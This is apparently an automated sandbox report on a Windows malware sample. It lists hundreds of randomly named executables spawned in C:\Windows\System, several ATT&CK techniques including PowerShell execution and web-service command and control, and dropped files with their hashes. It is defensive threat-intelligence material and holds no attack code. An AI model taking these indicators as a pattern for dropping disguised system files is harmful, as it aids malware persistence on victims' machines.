- C:\Windows\System\QLsaXtj.exe
  C:\Windows\System\QLsaXtj.exe
  2⤵
  PID:4296
- C:\Windows\System\jeLuhKb.exe
  C:\Windows\System\jeLuhKb.exe
  2⤵
  PID:13624
- C:\Windows\System\XkRPehZ.exe
  C:\Windows\System\XkRPehZ.exe
  2⤵
  PID:5340
- C:\Windows\System\wEkmsBD.exe
  C:\Windows\System\wEkmsBD.exe
  2⤵
  PID:9148
- C:\Windows\System\jibChwP.exe
  C:\Windows\System\jibChwP.exe
  2⤵
  PID:5196
- C:\Windows\System\gwVdtRi.exe
  C:\Windows\System\gwVdtRi.exe
  2⤵
  PID:1860
- C:\Windows\System\xITYdxT.exe
  C:\Windows\System\xITYdxT.exe
  2⤵
  PID:2656
- C:\Windows\System\IRqVJPO.exe
  C:\Windows\System\IRqVJPO.exe
  2⤵
  PID:3488
- C:\Windows\System\mIxqKkV.exe
  C:\Windows\System\mIxqKkV.exe
  2⤵
  PID:5932
- C:\Windows\System\llfBpYv.exe
  C:\Windows\System\llfBpYv.exe
  2⤵
  PID:5368
- C:\Windows\System\TKOhNKE.exe
  C:\Windows\System\TKOhNKE.exe
  2⤵
  PID:5232
- C:\Windows\System\gYpaLHJ.exe
  C:\Windows\System\gYpaLHJ.exe
  2⤵
  PID:3564
- C:\Windows\System\BzmzOnI.exe
  C:\Windows\System\BzmzOnI.exe
  2⤵
  PID:5956
- C:\Windows\System\aRkIMbo.exe
  C:\Windows\System\aRkIMbo.exe
  2⤵
  PID:5592
- C:\Windows\System\adohujI.exe
  C:\Windows\System\adohujI.exe
  2⤵
  PID:14128
- C:\Windows\System\yLSqgWG.exe
  C:\Windows\System\yLSqgWG.exe
  2⤵
  PID:5316
- C:\Windows\System\jWSbHtD.exe
  C:\Windows\System\jWSbHtD.exe
  2⤵
  PID:13816
- C:\Windows\System\SHPpOFh.exe
  C:\Windows\System\SHPpOFh.exe
  2⤵
  PID:5656
- C:\Windows\System\WiJCBOi.exe
  C:\Windows\System\WiJCBOi.exe
  2⤵
  PID:1472
- C:\Windows\System\qNXvyYN.exe
  C:\Windows\System\qNXvyYN.exe
  2⤵
  PID:9848
- C:\Windows\System\TUpNjAM.exe
  C:\Windows\System\TUpNjAM.exe
  2⤵
  PID:6248
- C:\Windows\System\TSIihwH.exe
  C:\Windows\System\TSIihwH.exe
  2⤵
  PID:5132
- C:\Windows\System\XtEsUUv.exe
  C:\Windows\System\XtEsUUv.exe
  2⤵
  PID:1932
- C:\Windows\System\ByMWCyy.exe
  C:\Windows\System\ByMWCyy.exe
  2⤵
  PID:5536
- C:\Windows\System\SfsvWCb.exe
  C:\Windows\System\SfsvWCb.exe
  2⤵
  PID:9468
- C:\Windows\System\jvBjLup.exe
  C:\Windows\System\jvBjLup.exe
  2⤵
  PID:5840
- C:\Windows\System\ZWLjcQN.exe
  C:\Windows\System\ZWLjcQN.exe
  2⤵
  PID:5812
- C:\Windows\System\gdyNpDL.exe
  C:\Windows\System\gdyNpDL.exe
  2⤵
  PID:9736
- C:\Windows\System\cghnQLf.exe
  C:\Windows\System\cghnQLf.exe
  2⤵
  PID:6308
- C:\Windows\System\xMkPwoT.exe
  C:\Windows\System\xMkPwoT.exe
  2⤵
  PID:11736
- C:\Windows\System\unFyhZu.exe
  C:\Windows\System\unFyhZu.exe
  2⤵
  PID:9880
- C:\Windows\System\oRcbYdg.exe
  C:\Windows\System\oRcbYdg.exe
  2⤵
  PID:6592
- C:\Windows\System\NuGtOco.exe
  C:\Windows\System\NuGtOco.exe
  2⤵
  PID:13640
- C:\Windows\System\llOzRbK.exe
  C:\Windows\System\llOzRbK.exe
  2⤵
  PID:5980
- C:\Windows\System\SPQdmiz.exe
  C:\Windows\System\SPQdmiz.exe
  2⤵
  PID:3608
- C:\Windows\System\HlNkbOp.exe
  C:\Windows\System\HlNkbOp.exe
  2⤵
  PID:13948
- C:\Windows\System\ZSLGhvs.exe
  C:\Windows\System\ZSLGhvs.exe
  2⤵
  PID:1780
- C:\Windows\System\nWXNxOJ.exe
  C:\Windows\System\nWXNxOJ.exe
  2⤵
  PID:13704
- C:\Windows\System\GyiUHRz.exe
  C:\Windows\System\GyiUHRz.exe
  2⤵
  PID:6364
- C:\Windows\System\qUnHZIC.exe
  C:\Windows\System\qUnHZIC.exe
  2⤵
  PID:1552
- C:\Windows\System\davJdHR.exe
  C:\Windows\System\davJdHR.exe
  2⤵
  PID:2436
- C:\Windows\System\OPSixEr.exe
  C:\Windows\System\OPSixEr.exe
  2⤵
  PID:1628
- C:\Windows\System\QjLtLSG.exe
  C:\Windows\System\QjLtLSG.exe
  2⤵
  PID:1508
- C:\Windows\System\YtnwyFQ.exe
  C:\Windows\System\YtnwyFQ.exe
  2⤵
  PID:4560
- C:\Windows\System\nHnrQVb.exe
  C:\Windows\System\nHnrQVb.exe
  2⤵
  PID:9856
- C:\Windows\System\rEkkISM.exe
  C:\Windows\System\rEkkISM.exe
  2⤵
  PID:13820
- C:\Windows\System\HXLorTi.exe
  C:\Windows\System\HXLorTi.exe
  2⤵
  PID:5960
- C:\Windows\System\rSSCDkD.exe
  C:\Windows\System\rSSCDkD.exe
  2⤵
  PID:13556
- C:\Windows\System\zYxzppQ.exe
  C:\Windows\System\zYxzppQ.exe
  2⤵
  PID:10928
- C:\Windows\System\KJoCtWr.exe
  C:\Windows\System\KJoCtWr.exe
  2⤵
  PID:6580
- C:\Windows\System\qfgObNR.exe
  C:\Windows\System\qfgObNR.exe
  2⤵
  PID:6168
- C:\Windows\System\AUxQJNX.exe
  C:\Windows\System\AUxQJNX.exe
  2⤵
  PID:6868
- C:\Windows\System\QuUZkri.exe
  C:\Windows\System\QuUZkri.exe
  2⤵
  PID:4724
- C:\Windows\System\ogIgvMH.exe
  C:\Windows\System\ogIgvMH.exe
  2⤵
  PID:4200
- C:\Windows\System\cMeWGxB.exe
  C:\Windows\System\cMeWGxB.exe
  2⤵
  PID:13220
- C:\Windows\System\KgTFdWj.exe
  C:\Windows\System\KgTFdWj.exe
  2⤵
  PID:11084
- C:\Windows\System\KfUkmqX.exe
  C:\Windows\System\KfUkmqX.exe
  2⤵
  PID:800
- C:\Windows\System\KWOChLV.exe
  C:\Windows\System\KWOChLV.exe
  2⤵
  PID:13852
- C:\Windows\System\ZszrodR.exe
  C:\Windows\System\ZszrodR.exe
  2⤵
  PID:13864
- C:\Windows\System\UExkkCZ.exe
  C:\Windows\System\UExkkCZ.exe
  2⤵
  PID:6948
- C:\Windows\System\tbAARva.exe
  C:\Windows\System\tbAARva.exe
  2⤵
  PID:7012
- C:\Windows\System\igJrALn.exe
  C:\Windows\System\igJrALn.exe
  2⤵
  PID:3528
- C:\Windows\System\hIRsJPw.exe
  C:\Windows\System\hIRsJPw.exe
  2⤵
  PID:872
- C:\Windows\System\RPcaTko.exe
  C:\Windows\System\RPcaTko.exe
  2⤵
  PID:3984
- C:\Windows\System\waNNrxT.exe
  C:\Windows\System\waNNrxT.exe
  2⤵
  PID:6516
- C:\Windows\System\fYtJHQg.exe
  C:\Windows\System\fYtJHQg.exe
  2⤵
  PID:6188
- C:\Windows\System\IoPJHnI.exe
  C:\Windows\System\IoPJHnI.exe
  2⤵
  PID:13924
- C:\Windows\System\QAQkSea.exe
  C:\Windows\System\QAQkSea.exe
  2⤵
  PID:13448
- C:\Windows\System\cFJsEqH.exe
  C:\Windows\System\cFJsEqH.exe
  2⤵
  PID:13724
- C:\Windows\System\emOURKG.exe
  C:\Windows\System\emOURKG.exe
  2⤵
  PID:6572
- C:\Windows\System\XHwuqbE.exe
  C:\Windows\System\XHwuqbE.exe
  2⤵
  PID:4232
- C:\Windows\System\KIIdeyL.exe
  C:\Windows\System\KIIdeyL.exe
  2⤵
  PID:6036
- C:\Windows\System\xLYKonF.exe
  C:\Windows\System\xLYKonF.exe
  2⤵
  PID:6172
- C:\Windows\System\IRqtukf.exe
  C:\Windows\System\IRqtukf.exe
  2⤵
  PID:14172
- C:\Windows\System\XbjvSBZ.exe
  C:\Windows\System\XbjvSBZ.exe
  2⤵
  PID:6280
- C:\Windows\System\qqmHXuk.exe
  C:\Windows\System\qqmHXuk.exe
  2⤵
  PID:6368
- C:\Windows\System\vgXjbPC.exe
  C:\Windows\System\vgXjbPC.exe
  2⤵
  PID:6632
- C:\Windows\System\idXdiCw.exe
  C:\Windows\System\idXdiCw.exe
  2⤵
  PID:6692
- C:\Windows\System\xHHRDbV.exe
  C:\Windows\System\xHHRDbV.exe
  2⤵
  PID:5760
- C:\Windows\System\wBdFeQL.exe
  C:\Windows\System\wBdFeQL.exe
  2⤵
  PID:14064
- C:\Windows\System\LgrkgBM.exe
  C:\Windows\System\LgrkgBM.exe
  2⤵
  PID:13696
- C:\Windows\System\rFpAyDD.exe
  C:\Windows\System\rFpAyDD.exe
  2⤵
  PID:6544
- C:\Windows\System\UiEGhWj.exe
  C:\Windows\System\UiEGhWj.exe
  2⤵
  PID:6604
- C:\Windows\System\kRLvZsq.exe
  C:\Windows\System\kRLvZsq.exe
  2⤵
  PID:13768
- C:\Windows\System\NwjvsOd.exe
  C:\Windows\System\NwjvsOd.exe
  2⤵
  PID:6316
- C:\Windows\System\meRhiWf.exe
  C:\Windows\System\meRhiWf.exe
  2⤵
  PID:6688
- C:\Windows\System\iVpdGGM.exe
  C:\Windows\System\iVpdGGM.exe
  2⤵
  PID:2424
- C:\Windows\System\TJMlUkD.exe
  C:\Windows\System\TJMlUkD.exe
  2⤵
  PID:4908
- C:\Windows\System\oQWMsRK.exe
  C:\Windows\System\oQWMsRK.exe
  2⤵
  PID:6104
- C:\Windows\System\MJlPjKf.exe
  C:\Windows\System\MJlPjKf.exe
  2⤵
  PID:13352
- C:\Windows\System\oEGTEGQ.exe
  C:\Windows\System\oEGTEGQ.exe
  2⤵
  PID:7184
- C:\Windows\System\jNaTGia.exe
  C:\Windows\System\jNaTGia.exe
  2⤵
  PID:6244
- C:\Windows\System\hmNOpld.exe
  C:\Windows\System\hmNOpld.exe
  2⤵
  PID:7240
- C:\Windows\System\agnuEVI.exe
  C:\Windows\System\agnuEVI.exe
  2⤵
  PID:7440
- C:\Windows\System\bogTdOp.exe
  C:\Windows\System\bogTdOp.exe
  2⤵
  PID:7172
- C:\Windows\System\ZDxfNYo.exe
  C:\Windows\System\ZDxfNYo.exe
  2⤵
  PID:6964
- C:\Windows\System\cVtQioW.exe
  C:\Windows\System\cVtQioW.exe
  2⤵
  PID:2328
- C:\Windows\System\YbrCcTe.exe
  C:\Windows\System\YbrCcTe.exe
  2⤵
  PID:6260
- C:\Windows\System\IMpyqim.exe
  C:\Windows\System\IMpyqim.exe
  2⤵
  PID:2056
- C:\Windows\System\ozAPKpp.exe
  C:\Windows\System\ozAPKpp.exe
  2⤵
  PID:14008
- C:\Windows\System\lSnqReE.exe
  C:\Windows\System\lSnqReE.exe
  2⤵
  PID:7308
- C:\Windows\System\MoJTJPv.exe
  C:\Windows\System\MoJTJPv.exe
  2⤵
  PID:8204
- C:\Windows\System\JlRSkcz.exe
  C:\Windows\System\JlRSkcz.exe
  2⤵
  PID:8628
- C:\Windows\System\mhpmhDN.exe
  C:\Windows\System\mhpmhDN.exe
  2⤵
  PID:8748
- C:\Windows\System\NvCEhxm.exe
  C:\Windows\System\NvCEhxm.exe
  2⤵
  PID:8736
- C:\Windows\System\bVJJFXI.exe
  C:\Windows\System\bVJJFXI.exe
  2⤵
  PID:7656
- C:\Windows\System\wExCMax.exe
  C:\Windows\System\wExCMax.exe
  2⤵
  PID:13612
- C:\Windows\System\pSmVRQZ.exe
  C:\Windows\System\pSmVRQZ.exe
  2⤵
  PID:6612
- C:\Windows\System\DjYPExe.exe
  C:\Windows\System\DjYPExe.exe
  2⤵
  PID:8116
- C:\Windows\System\Imlkwrs.exe
  C:\Windows\System\Imlkwrs.exe
  2⤵
  PID:8908
- C:\Windows\System\oIOjLbU.exe
  C:\Windows\System\oIOjLbU.exe
  2⤵
  PID:4716
- C:\Windows\System\chXOCPn.exe
  C:\Windows\System\chXOCPn.exe
  2⤵
  PID:6128
- C:\Windows\System\nhfsmGW.exe
  C:\Windows\System\nhfsmGW.exe
  2⤵
  PID:6908
- C:\Windows\System\ycoWRlQ.exe
  C:\Windows\System\ycoWRlQ.exe
  2⤵
  PID:6932
- C:\Windows\System\hlxpZrG.exe
  C:\Windows\System\hlxpZrG.exe
  2⤵
  PID:13432
- C:\Windows\System\HVlWWnI.exe
  C:\Windows\System\HVlWWnI.exe
  2⤵
  PID:13684
- C:\Windows\System\laoXhGD.exe
  C:\Windows\System\laoXhGD.exe
  2⤵
  PID:6148
- C:\Windows\System\loaEnTt.exe
  C:\Windows\System\loaEnTt.exe
  2⤵
  PID:7420
- C:\Windows\System\HhBEtsd.exe
  C:\Windows\System\HhBEtsd.exe
  2⤵
  PID:9376
- C:\Windows\System\OicGuYx.exe
  C:\Windows\System\OicGuYx.exe
  2⤵
  PID:8944
- C:\Windows\System\thKLSrz.exe
  C:\Windows\System\thKLSrz.exe
  2⤵
  PID:6400
- C:\Windows\System\xXiGobU.exe
  C:\Windows\System\xXiGobU.exe
  2⤵
  PID:8852
- C:\Windows\System\fqrAcgK.exe
  C:\Windows\System\fqrAcgK.exe
  2⤵
  PID:8012
- C:\Windows\System\hAbvwzX.exe
  C:\Windows\System\hAbvwzX.exe
  2⤵
  PID:8056
- C:\Windows\System\JTJVdJB.exe
  C:\Windows\System\JTJVdJB.exe
  2⤵
  PID:9048
- C:\Windows\System\VRXAmOc.exe
  C:\Windows\System\VRXAmOc.exe
  2⤵
  PID:7268
- C:\Windows\System\gPpvPjM.exe
  C:\Windows\System\gPpvPjM.exe
  2⤵
  PID:8368
- C:\Windows\System\qtDoaZL.exe
  C:\Windows\System\qtDoaZL.exe
  2⤵
  PID:11660
- C:\Windows\System\GzxYPdX.exe
  C:\Windows\System\GzxYPdX.exe
  2⤵
  PID:6360
- C:\Windows\System\mGYyPlg.exe
  C:\Windows\System\mGYyPlg.exe
  2⤵
  PID:13800
- C:\Windows\System\fbbclOh.exe
  C:\Windows\System\fbbclOh.exe
  2⤵
  PID:6672
- C:\Windows\System\yeyaKsm.exe
  C:\Windows\System\yeyaKsm.exe
  2⤵
  PID:7384
- C:\Windows\System\MtDAZbT.exe
  C:\Windows\System\MtDAZbT.exe
  2⤵
  PID:6200
- C:\Windows\System\ajiGNMz.exe
  C:\Windows\System\ajiGNMz.exe
  2⤵
  PID:6956
- C:\Windows\System\KfhZYEb.exe
  C:\Windows\System\KfhZYEb.exe
  2⤵
  PID:7200
- C:\Windows\System\nceXmUb.exe
  C:\Windows\System\nceXmUb.exe
  2⤵
  PID:1640
- C:\Windows\System\ZhnXTTe.exe
  C:\Windows\System\ZhnXTTe.exe
  2⤵
  PID:7340
- C:\Windows\System\nWVYSfF.exe
  C:\Windows\System\nWVYSfF.exe
  2⤵
  PID:2992
- C:\Windows\System\FATUMha.exe
  C:\Windows\System\FATUMha.exe
  2⤵
  PID:8028
- C:\Windows\System\yGOkGxM.exe
  C:\Windows\System\yGOkGxM.exe
  2⤵
  PID:5296
- C:\Windows\System\oDNlWur.exe
  C:\Windows\System\oDNlWur.exe
  2⤵
  PID:7180
- C:\Windows\System\UREvjhI.exe
  C:\Windows\System\UREvjhI.exe
  2⤵
  PID:8704
- C:\Windows\System\ADeodfY.exe
  C:\Windows\System\ADeodfY.exe
  2⤵
  PID:9300
- C:\Windows\System\dZJSOln.exe
  C:\Windows\System\dZJSOln.exe
  2⤵
  PID:6928
- C:\Windows\System\KMvUUvQ.exe
  C:\Windows\System\KMvUUvQ.exe
  2⤵
  PID:13692
- C:\Windows\System\bFgQngv.exe
  C:\Windows\System\bFgQngv.exe
  2⤵
  PID:9364
- C:\Windows\System\ctVPYMA.exe
  C:\Windows\System\ctVPYMA.exe
  2⤵
  PID:13636
- C:\Windows\System\nTKnccD.exe
  C:\Windows\System\nTKnccD.exe
  2⤵
  PID:7480
- C:\Windows\System\itJrSKh.exe
  C:\Windows\System\itJrSKh.exe
  2⤵
  PID:8544
- C:\Windows\System\yOUoSSY.exe
  C:\Windows\System\yOUoSSY.exe
  2⤵
  PID:8224
- C:\Windows\System\qXeUuCY.exe
  C:\Windows\System\qXeUuCY.exe
  2⤵
  PID:8244
- C:\Windows\System\sFhqctK.exe
  C:\Windows\System\sFhqctK.exe
  2⤵
  PID:6652
- C:\Windows\System\YYzJPdC.exe
  C:\Windows\System\YYzJPdC.exe
  2⤵
  PID:4992
- C:\Windows\System\MAdWBef.exe
  C:\Windows\System\MAdWBef.exe
  2⤵
  PID:11536
- C:\Windows\System\NSHAYZg.exe
  C:\Windows\System\NSHAYZg.exe
  2⤵
  PID:9248
- C:\Windows\System\bdGetjS.exe
  C:\Windows\System\bdGetjS.exe
  2⤵
  PID:9564
- C:\Windows\System\rsyucvx.exe
  C:\Windows\System\rsyucvx.exe
  2⤵
  PID:7732
- C:\Windows\System\VbNCEqS.exe
  C:\Windows\System\VbNCEqS.exe
  2⤵
  PID:9592
- C:\Windows\System\QCsOWii.exe
  C:\Windows\System\QCsOWii.exe
  2⤵
  PID:9600
- C:\Windows\System\dNvtZrf.exe
  C:\Windows\System\dNvtZrf.exe
  2⤵
  PID:7932
- C:\Windows\System\tGznicF.exe
  C:\Windows\System\tGznicF.exe
  2⤵
  PID:9444
- C:\Windows\System\kmYoJOl.exe
  C:\Windows\System\kmYoJOl.exe
  2⤵
  PID:9400
- C:\Windows\System\nFpjpIT.exe
  C:\Windows\System\nFpjpIT.exe
  2⤵
  PID:6488
- C:\Windows\System\DrGPdiZ.exe
  C:\Windows\System\DrGPdiZ.exe
  2⤵
  PID:9504
- C:\Windows\System\kaMPTUD.exe
  C:\Windows\System\kaMPTUD.exe
  2⤵
  PID:9672
- C:\Windows\System\fcRZwGx.exe
  C:\Windows\System\fcRZwGx.exe
  2⤵
  PID:2168
- C:\Windows\System\LuJLAaq.exe
  C:\Windows\System\LuJLAaq.exe
  2⤵
  PID:7976
- C:\Windows\System\NUbYYdS.exe
  C:\Windows\System\NUbYYdS.exe
  2⤵
  PID:10536
- C:\Windows\System\SvPrFvj.exe
  C:\Windows\System\SvPrFvj.exe
  2⤵
  PID:6348
- C:\Windows\System\PRxeTWf.exe
  C:\Windows\System\PRxeTWf.exe
  2⤵
  PID:8984
- C:\Windows\System\xsVkVSp.exe
  C:\Windows\System\xsVkVSp.exe
  2⤵
  PID:2320
- C:\Windows\System\sLjioYz.exe
  C:\Windows\System\sLjioYz.exe
  2⤵
  PID:6500
- C:\Windows\System\uIeUSDo.exe
  C:\Windows\System\uIeUSDo.exe
  2⤵
  PID:9436
- C:\Windows\System\fKarDlk.exe
  C:\Windows\System\fKarDlk.exe
  2⤵
  PID:9820
- C:\Windows\System\MyGcJWl.exe
  C:\Windows\System\MyGcJWl.exe
  2⤵
  PID:6668
- C:\Windows\System\idFwGlK.exe
  C:\Windows\System\idFwGlK.exe
  2⤵
  PID:9956
- C:\Windows\System\UFVcTwN.exe
  C:\Windows\System\UFVcTwN.exe
  2⤵
  PID:10848
- C:\Windows\System\SVNPbjX.exe
  C:\Windows\System\SVNPbjX.exe
  2⤵
  PID:9128
- C:\Windows\System\KRKkGvw.exe
  C:\Windows\System\KRKkGvw.exe
  2⤵
  PID:9708
- C:\Windows\System\DJHYTKF.exe
  C:\Windows\System\DJHYTKF.exe
  2⤵
  PID:11684
- C:\Windows\System\yshgMhu.exe
  C:\Windows\System\yshgMhu.exe
  2⤵
  PID:9168
- C:\Windows\System\kIuffLY.exe
  C:\Windows\System\kIuffLY.exe
  2⤵
  PID:11504
- C:\Windows\System\uDdZRuR.exe
  C:\Windows\System\uDdZRuR.exe
  2⤵
  PID:9960
- C:\Windows\System\FZhyFwS.exe
  C:\Windows\System\FZhyFwS.exe
  2⤵
  PID:11700
- C:\Windows\System\iXyCiWE.exe
  C:\Windows\System\iXyCiWE.exe
  2⤵
  PID:13792
- C:\Windows\System\bhHsNeh.exe
  C:\Windows\System\bhHsNeh.exe
  2⤵
  PID:4700
- C:\Windows\System\DDFsgXI.exe
  C:\Windows\System\DDFsgXI.exe
  2⤵
  PID:9112
- C:\Windows\System\kTzZDMl.exe
  C:\Windows\System\kTzZDMl.exe
  2⤵
  PID:13076
- C:\Windows\System\YNahPzb.exe
  C:\Windows\System\YNahPzb.exe
  2⤵
  PID:3508
- C:\Windows\System\hOEmsCx.exe
  C:\Windows\System\hOEmsCx.exe
  2⤵
  PID:1764
- C:\Windows\System\mPeBHfa.exe
  C:\Windows\System\mPeBHfa.exe
  2⤵
  PID:11436
- C:\Windows\System\GQUTOxB.exe
  C:\Windows\System\GQUTOxB.exe
  2⤵
  PID:10416
- C:\Windows\System\WkQUCeg.exe
  C:\Windows\System\WkQUCeg.exe
  2⤵
  PID:9360
- C:\Windows\System\VmDdAxK.exe
  C:\Windows\System\VmDdAxK.exe
  2⤵
  PID:8708
- C:\Windows\System\QlGHKbp.exe
  C:\Windows\System\QlGHKbp.exe
  2⤵
  PID:8952
- C:\Windows\System\GwfMXIy.exe
  C:\Windows\System\GwfMXIy.exe
  2⤵
  PID:4344
- C:\Windows\System\TJGivnE.exe
  C:\Windows\System\TJGivnE.exe
  2⤵
  PID:9416
- C:\Windows\System\nPMkQfw.exe
  C:\Windows\System\nPMkQfw.exe
  2⤵
  PID:11688
- C:\Windows\System\wxPzoEh.exe
  C:\Windows\System\wxPzoEh.exe
  2⤵
  PID:8488
- C:\Windows\System\QRkgPpK.exe
  C:\Windows\System\QRkgPpK.exe
  2⤵
  PID:7052
- C:\Windows\System\DTbdBpw.exe
  C:\Windows\System\DTbdBpw.exe
  2⤵
  PID:9576
- C:\Windows\System\hwZofUe.exe
  C:\Windows\System\hwZofUe.exe
  2⤵
  PID:9288
- C:\Windows\System\BYpWsaA.exe
  C:\Windows\System\BYpWsaA.exe
  2⤵
  PID:9588
- C:\Windows\System\HqBuASQ.exe
  C:\Windows\System\HqBuASQ.exe
  2⤵
  PID:7316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v11syq3b.eke.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BVvyKvj.exe

Filesize
1.3MB

MD5
661ef380839660c22adb142f9359762f

SHA1
3c17f84fad79f58d7c67ddfa3d6bfb71adfc191c

SHA256
ed9a1db48d760e4749a18a769533b80651fdbef60cc1ac8eda72c0f16fe53064

SHA512
083ca37d54a575b8a174cf1fb2b1a34b2823b3009ad02ce3a18d5770d0b429387b678c0796bbf065a1fdc915107205adf451d99078d79fff3bd93d4c8fcb2e4e

Download Submit
C:\Windows\System\DCRXtTt.exe

Filesize
1.3MB

MD5
9925d1a8ec347a5e7d8be0a4d4bb0649

SHA1
66bc6fefebd48bead9ec991c5a93dc52e6884e7a

SHA256
11afbd2f473eaca1510bdb7244e45a5c4c4dfa3e4ae92c5929ea33a6fc1a6625

SHA512
1da1976c9bcfec9b288527e1d03bee60d2cd02af1fc96d6cd56ca62f34f9b662b00bf75914a0ae605f9045e73594ab4e3e839cf1ac85ed690d8ee7414ddac2a2

Download Submit
C:\Windows\System\FwjuZYt.exe

Filesize
1.3MB

MD5
520253418641c1f59eb34ce539933c70

SHA1
dd3d6aaad1550450f88c80be7e697f8a5fc7d2b8

SHA256
c51363bd5ba3b6be31cd10cd5116817d5a1f018bd4e0a7bbca72e157438c6b69

SHA512
ae6f76208af1ec4ccb506f864ae78f5e878d3d9d5c14cdb84b152b1940e60b8b1806ce9379e1a7e184ff883912b00ca2c8e1c419bb560a42328279d1476c3070

Download Submit
C:\Windows\System\GrXJgso.exe

Filesize
1.3MB

MD5
123d29c3b0d8191082a2a63ff4bea1bb

SHA1
7b7a0f99033df2aa8828b7e0717cf5b54b3d416d

SHA256
93f34d8f7d848054c7b518bb5d10cb20e37d3c3bada366d6bead67c63065691c

SHA512
b4cdb7ad9535f424b9659ac414d5d78e7538792c258000dbe9e077bdfabf87be68f2d6fa4ace35829614b66610857f2c315b1411f3d11d17ac20bfa9efc3787c

Download Submit
C:\Windows\System\HGFbJhU.exe

Filesize
1.3MB

MD5
4bc7fe60ec39e36a8fe5ed539593389e

SHA1
6f2decede50375a64a6ff48adbe4e23ae7042d28

SHA256
6808549c6c9e53e18f4c796f4f3624eeef7beca78d9be730e22b25d310ec139a

SHA512
cb3845d649c5e530f9658e40a027b3a8265c9bc066c146230c40d5e19a20d8cde8f03ee1c6dcfc30629ee6e3e8cd59791cff723e78a6ca267a3d9a246d431989

Download Submit
C:\Windows\System\JdVEJtI.exe

Filesize
1.3MB

MD5
792ad699ac5f0cc121384b078e8050c6

SHA1
eb237ee64a9aac3107a894e113d44d6a87800fc9

SHA256
10b34a4962819a1dee85829ef7265ff2dc8067f23fe5b239fb030e313676d6f2

SHA512
1cba97c7b63644a8c207bfc3fe85e3cdfa2eb7ffa9a3ddb8fc72f9277005be3949c4f7f27a74aac51a03acfbaa0d8593e812b05f338d2a4b3f239aaeae1c1e07

Download Submit
C:\Windows\System\JnFTotU.exe

Filesize
1.3MB

MD5
9bb8517e3eea8cd87ba426ef3841e74e

SHA1
3ea690c280c739576a4c886b138d543b3cefe213

SHA256
6e27a58fba73834258badbcee00e029e6d1cb6cf8243397a52d38dfb3cfad31d

SHA512
b05fc747e97e76a08d4ecd46ad957e7580cf882c4a8748076874d0cd929e90bbeedc59901e93aa897cdb272450ab849ddbb59445e1cd1217adf66ec1f8353589

Download Submit
C:\Windows\System\VOLIuOY.exe

Filesize
1.3MB

MD5
59d865d98b6aa638b9745da643a56c68

SHA1
1626dadd7f414e253ffa3bbfe0de3a846c82e8ab

SHA256
c7562ae270dd8c16f2a16f14b3457699a5ba32a7643cba20f41c3e95a58167fc

SHA512
a4b9802f04e24cb69b1bf9e957b95ec208119236412e4aaf2397ae10841ccc35f9e569a8a05213fb221b07305cb05adb7963610669253742c2c2dab97af06b71

Download Submit
C:\Windows\System\WNGzggb.exe

Filesize
1.3MB

MD5
693990815cb376b53f0310671dbc9026

SHA1
357070fa70b710efb551125358c1f312d708b32e

SHA256
273a14c2f6d6a45e58563af5b9278ad063e0ba7813c7a9494b339eab6fd8ee22

SHA512
ac62d20c1312354148bbd258ad99ce81485e3fceb2093b299ec5c428fd931115113f0ecb0f6effebda162cc1dec71cf73ba286dba55438bdb6a6a7cd11e7f0a5

Download Submit
C:\Windows\System\Wqpperj.exe

Filesize
1.3MB

MD5
253034524a1ceb47c3dd1667053a6c2f

SHA1
14ca505c2d362cae3ba735d5fe134e8c77d2bb9c

SHA256
0acd5d8c0f6c95ccf75f5fec864eab1be52842f35584cf92b94b6c3ad72f725f

SHA512
042df0c68e30661e164db5d3f3e8400c60db07cec5c289be0e9405533440da32ce577347fefe6a720ed6c012089163282cbaab9b4230c76e969d48d0d1a3d3b0

Download Submit
C:\Windows\System\YUCmxeI.exe

Filesize
1.3MB

MD5
6e85442eb6d62bbd21ee8572f52d400c

SHA1
0d98237225181db14d82d4e62a1defc91ff2a578

SHA256
7fa299f8b81778b35f0f6f51a502d2996e87be0a7ca75e7629fb47bf734129a3

SHA512
95181a726d08ea0e69050dc6887cf22672bbd2bfcee74e1a6f148745aa0bf954e065579b3555d97418dd91be00141ebe79da96e3b1d8c716506179342056891c

Download Submit
C:\Windows\System\aSjWcHe.exe

Filesize
1.3MB

MD5
3b56224e709bfb3d521ebadf538cff41

SHA1
974d1e7e6d48344c4c07798c086738b839a31e42

SHA256
23c2795b4086291e7a15634be048d10596f26912f4a40272d793dadd7d7b63ec

SHA512
041d9b3e5850dd95d348b7f1d89f3b22ade8c6f89af3ee2e5054e67467937e96c665cc0cc6ebc79f30337d75f564fa80b0b7ca601cd71cba5bc8e9a5c514e49e

Download Submit
C:\Windows\System\aTqzkeI.exe

Filesize
1.3MB

MD5
51f914ddfb8c7d57286730cb9299340e

SHA1
1300a5da420cfd230f1ba21288ecd2911df291af

SHA256
ef9e6bc58373e22273c4c10fe961c52bc5c576558c23563d86f8bfcb68263810

SHA512
c8dd7b764ea4581875e0363b3d6d51eff3f2aa6e6b159f9dbc2523311f0c218633958845d59616bc5284f20ee57ffc5e75d38da2ffe433447bdaba88fc1a8d56

Download Submit
C:\Windows\System\aVHGSvo.exe

Filesize
1.3MB

MD5
30cdfa021a446bd16bab1f47f5c59bd9

SHA1
152306fee3df608df1d6dcddf818dcae86ae24a8

SHA256
e8ed9374c3b764875e8b5965debc82848605751d35b32f048269410c47800b3b

SHA512
b3122512eab4cec5d916b348ad07623132ca68d8cb8160c3896deeb5f3900d63f9e415ef21efee65d41b89eb36455f3d09980375d811a18edf02639d49928b2f

Download Submit
C:\Windows\System\aiYDWXa.exe

Filesize
1.3MB

MD5
6096f889c4af8848cbed5a8789e38dd2

SHA1
c943e1325d3e018b4c94c33c9747cc4965d3534e

SHA256
b04339ee2089f9cc3cf48bd3e94a0b5d74e8bd65013900ca77962cfafddeb738

SHA512
